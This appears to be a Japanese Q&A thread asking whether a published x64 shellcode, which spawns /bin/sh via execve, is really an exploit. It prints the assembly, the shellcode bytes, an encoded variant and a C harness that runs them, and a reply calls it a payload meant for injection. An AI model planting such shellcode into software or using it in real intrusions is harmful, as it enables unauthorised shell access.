web-dev-qa-db-ja.com

このシェルコードの実行がエクスプロイトと見なされるのはなぜですか?

Twitterで次の「エクスプロイト」を見つけました: https://www.exploit-db.com/exploits/43550/?rss

それについてのブログ投稿: https://pentesterslife.blog/2018/01/13/polymorphic-and-smaller-versions-of-three-Shell-storms-x64-shellcodes -include-the-smallest-execve-bin-sh /

これは、アセンブラコード/バイトをメモリにラップして、シェルを実行します。

私見それが特権の昇格を許すならばそれは悪用である、例えば。非ルートはこれをコンパイルして実行し、スコープ付きルートまたは何かにすることができます。

これは悪用ではありません。セキュリティの壁を壊したり、間違ったりしているのではないですか?

/*
global _start
section .text
_start:
    Push 59
    pop rax
    cdq
    Push rdx
    mov rbx,0x68732f6e69622f2f
    Push rbx
    Push rsp
    pop rdi
    Push rdx
    Push rdi
    Push rsp
    pop rsi
    syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}
1
Daniel W.

これはエクスプロイトではないことに同意しますが、他の方法でエクスプロイトされたアプリケーションに挿入されたときに使用されるシェルコードです。また、ブログの投稿では、エクスプロイトではなくシェルコードとしてのみ言及しています。

1
David